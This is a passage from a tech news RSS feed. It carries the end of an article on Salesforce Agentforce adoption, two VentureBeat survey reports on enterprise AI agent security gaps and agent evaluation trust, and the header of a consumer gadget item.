<p class="wp-block-paragraph">That, according to <a href="https://reimagine.nelson-hall.com/analysts/1521" target="_blank" rel="noreferrer noopener">Gaurav Parab</a>, principal research analyst at NelsonHall, is slowing adoption because enterprise leaders, such as CIOs, are under pressure to evaluate TCO and expected ROI.</p>



<p class="wp-block-paragraph">“Most enterprises first want confidence that AI deployments will generate measurable business outcomes before committing to broader rollouts,” he said.</p>



<h2 class="wp-block-heading">Data Cloud and data readiness remain as challenges</h2>



<p class="wp-block-paragraph">Pricing, though, is just one piece of the equation.</p>



<p class="wp-block-paragraph">The discussion about Agentforce adoption, analysts said, cannot be separated from Salesforce’s broader product strategy, which positions Agentforce alongside Data Cloud as the foundation for enterprise AI deployments.</p>



<p class="wp-block-paragraph">“Data modernization has become one of the biggest determinants of adoption. Agentforce depends on trusted, unified enterprise data to generate reliable outcomes. For many organizations, preparing that data foundation through Data 360, integration, governance, and data quality initiatives represents a significant part of the implementation effort,” Purab said, backing the KeyBanc research note.</p>



<p class="wp-block-paragraph">Chopra seconded that assessment, saying Data Cloud has effectively become a prerequisite for production-grade Agentforce: “We worked with a private equity fund administrator where the AI layer only became reliable once we had clean, structured data feeding into Salesforce consistently. Before that, even well-configured automation produced inconsistent outputs.”</p>



<p class="wp-block-paragraph">In practice, that means many enterprises need to invest separately in Data Cloud, data integration, governance, and cleanup before Agentforce can be deployed reliably at scale, Chopra said.</p>



<h2 class="wp-block-heading">Implementation challenges are slowing adoption</h2>



<p class="wp-block-paragraph">Product maturity aside, those implementation challenges, Purab pointed out, are also contributing to a slower pace of Agentforce adoption in enterprises than anticipated.</p>



<p class="wp-block-paragraph">While interest in Agentforce continues to grow, enterprises, according to the analyst, are largely limiting deployments to targeted, high-value use cases while they establish trusted data foundations, integrate with existing systems, and demonstrate measurable business value.</p>



<p class="wp-block-paragraph">More so because Data Cloud accelerates Agentforce once the foundation is coherent,  it cannot make incoherence disappear, Gogia pointed out.</p>



<p class="wp-block-paragraph">Chopra, too, said his conversations with enterprise customers closely mirror Purab and KeyBanc’s findings: “The issue isn’t appetite. The issue is that their CRM data is fragmented, partially duplicated, and inconsistently structured. You can’t put an AI agent on top of that and expect reliable outputs.”</p>



<p class="wp-block-paragraph">“Cleaning that up takes months. That work doesn’t show in a vendor’s deal count, which is why signed agreements and actual production deployments are two very different numbers right now.”</p>



<h2 class="wp-block-heading">Timing issue or execution gap?</h2>



<p class="wp-block-paragraph">Despite all the challenges, though, Purab said that the slower pace of current adoption is not necessarily indicative of a long-term problem.</p>



<p class="wp-block-paragraph">“I see it as a timing issue, but it has always been the case. Enterprise AI adoption has consistently followed the maturity of data, governance, and operating models. Salesforce will undoubtedly continue refining the product, pricing, and go-to-market approach, but the larger challenge lies in enterprise readiness,” Purab said.</p>



<p class="wp-block-paragraph">“As organizations strengthen their data foundations and gain confidence in deploying AI responsibly, Agentforce adoption is likely to broaden significantly,” Purab added.</p>



<p class="wp-block-paragraph">Chopra, in contrast, offered a more nuanced view: “While data readiness, which is a customer issue, will improve with time, Salesforce needs to fix its go-to-market strategy.”</p>



<p class="wp-block-paragraph">“Three pricing changes in 18 months, a product that requires significant pre-investment before it delivers value, and implementation complexity that most mid-market buyers aren’t resourced for is definitely a positioning gap Salesforce needs to close,” Chopra said.</p>



<p class="wp-block-paragraph">Regardless of whether the current slowdown proves temporary or structural, both analysts agreed that the next six to twelve months should provide a clearer picture of Agentforce’s trajectory.</p>



<p class="wp-block-paragraph">For CIOs evaluating the platform, they said, the focus should be less on headline product announcements and more on tangible indicators of enterprise adoption and operational maturity.</p>



<p class="wp-block-paragraph">“The key indicators will be an increase in enterprise-scale production deployments rather than pilots, broader adoption beyond customer service into other business functions, stronger customer references demonstrating measurable business outcomes, continued simplification of pricing and deployment models, and greater maturity around governance, security, and operating models for AI agents,” Purab said.</p>



<p class="wp-block-paragraph">For Chopra, CIOs should go a step further by measuring how AI agents perform in production rather than simply tracking deployment numbers: “Containment rate in production — what percentage of agent interactions are resolved without human escalation — is the real performance signal, not token volume or deal count.”</p>



<p class="wp-block-paragraph">Salesforce did not immediately respond to a request for comment.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The agent security gap: 54% of enterprises have already had an AI agent incident, and most still let agents share credentials]]></title>
<description><![CDATA[Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents s...]]></description>
<link>https://tsecurity.de/de/3674536/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674536/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</guid>
<pubDate>Thu, 16 Jul 2026 21:47:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents still share credentials; and only three in ten isolate their highest-risk agents. The security stack is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents, spending remains a thin slice of the security budget, and enterprises are evenly split on whether their defenses are keeping pace with AI-enabled attackers. The result is an agent security gap — autonomous agents proliferating faster than the identity, isolation, and enforcement controls needed to hold them.</p><p>This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.</p><p>The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.</p><p>What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.</p><p>Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.</p><h2>Finding 1: The incidents are already here</h2><p><b>More than half have had an agent security incident or near-miss</b></p><p>We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.</p><div></div><p>This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.</p><p>Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.</p><h2>Finding 2: The identity gap</h2><p><b>Only a third give every agent its own scoped identity</b></p><p>We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.</p><div></div><p>Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.) </p><p>The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.</p><p>Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.</p><h2>Finding 3: Observe and enforce, but rarely isolate</h2><p><b>Only three in 10 sandbox their highest-risk agents</b></p><p>We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.</p><div></div><p>Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.</p><h2>Finding 4: Security runs on borrowed, provider-native controls</h2><p><b>Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register</b></p><p>We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.</p><div></div><p>Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.</p><p>The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.</p><p>(<i>A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)</i></p><h2>Finding 5: And enterprises are comfortable with it</h2><p><b>Satisfaction is high, even as incidents mount and identity lags</b></p><p>We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.</p><div></div><p>Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.</p><h2>Finding 6: Budgets haven’t caught up</h2><p><b>Most spend under a tenth of the security budget on agents</b></p><p>We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.</p><div></div><p>Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.</p><h1>Finding 7: The arms race is even, at best</h1><p><b>Only a third think their AI defenses are ahead of AI-enabled attackers</b></p><p>We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.</p><div></div><p>Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.</p><h2>Finding 8: A security reshuffle is coming</h2><p><b>Nearly six in 10 plan to adopt or switch tooling within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.</p><div></div><p>The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle. </p><p>Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.</p><p>The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. </p><p>What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.</p><h2>The bottom line: A security gap that autonomy will test first</h2><p>Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.</p><p>The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The agent evaluation gap: Enterprise AI organizations have a reality-alignment problem, not a coverage problem — and most are shipping to production anyway]]></title>
<description><![CDATA[Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated...]]></description>
<link>https://tsecurity.de/de/3674237/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674237/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</guid>
<pubDate>Thu, 16 Jul 2026 19:03:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated evaluation today; and the most-cited weakness is that evaluations do not align with real-world outcomes. Yet two-thirds already allow, or are actively engineering toward, deploying agent changes to production on automated evaluation alone — with no human in the loop. The result is an evaluation gap — the distance between how much autonomy enterprises are handing their agents and how far they trust the tests that are supposed to catch the failures.</p><p>This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.</p><p>The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.</p><p>What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability &amp; Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).</p><p>At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.</p><p><i>Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.</i></p><h1>Finding 1: A passing eval is not a working agent</h1><p><b>Half have shipped an agent that passed evals, then failed a customer</b></p><p>We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.</p><div></div><p>This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.</p><h2>Finding 2: Almost no one fully trusts automated evaluation</h2><p><b>The top complaint: Evals don't match real-world outcomes</b></p><p>We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.</p><div></div><p>Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.</p><h2>Finding 3: The autonomy ceiling is rising anyway</h2><p><b>Two-thirds already allow, or are building toward, zero-human deployment</b></p><p>We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.</p><div></div><p>Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.</p><p>Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. </p><h2>Finding 4: The evaluation stack is fragmented and provider-led</h2><p><b>Provider-native evals lead — tied with no dedicated tool at all</b></p><p>We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.</p><div></div><p>The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.</p><h2>Finding 5: Production monitoring rarely watches output quality</h2><p><b>Only a quarter run real-time quality checks on live traffic</b></p><p>Production monitoring for an AI agent can watch two very different things. It can watch whether the system is <b>functioning</b> — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is <b>correct</b> — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.</p><div></div><p>Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.</p><h2>Finding 6: Bought on cost, measured on consistency</h2><p><b>Price and integration drive selection; evaluation consistency is the goal</b></p><p>We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.</p><div></div><p>Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.</p><h2>Finding 7: The next dollar goes to humans and observability</h2><p><b>Investment is flowing to oversight, not just automation</b></p><p>We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.</p><div></div><p>The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing. </p><p>Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.</p><h2>Finding 8: A tooling reshuffle is coming</h2><p><b>Nearly two-thirds plan to adopt or switch platforms within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.</p><div></div><p>The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint. </p><p>Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.</p><h2>The bottom line: An evaluation gap that autonomy will widen, not close</h2><p>Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.</p><p>The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.</p><hr><p><i>Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Shark upgrades its acclaimed CryoGlow blemish-busting LED face mask – it costs a little more but it delivers better coverage around the crows' feet area and its battery life is better too]]></title>
<description><![CDATA[Shark's CryoGlow Plus promises 120% better coverage plus the brand's InstaChill Cold technology to help soothe and de-puff]]></description>
<link>https://tsecurity.de/de/3673986/it-nachrichten/shark-upgrades-its-acclaimed-cryoglow-blemish-busting-led-face-mask-it-costs-a-little-more-but-it-delivers-better-coverage-around-the-crows-feet-area-and-its-battery-life-is-better-too/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673986/it-nachrichten/shark-upgrades-its-acclaimed-cryoglow-blemish-busting-led-face-mask-it-costs-a-little-more-but-it-delivers-better-coverage-around-the-crows-feet-area-and-its-battery-life-is-better-too/</guid>
<pubDate>Thu, 16 Jul 2026 17:33:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
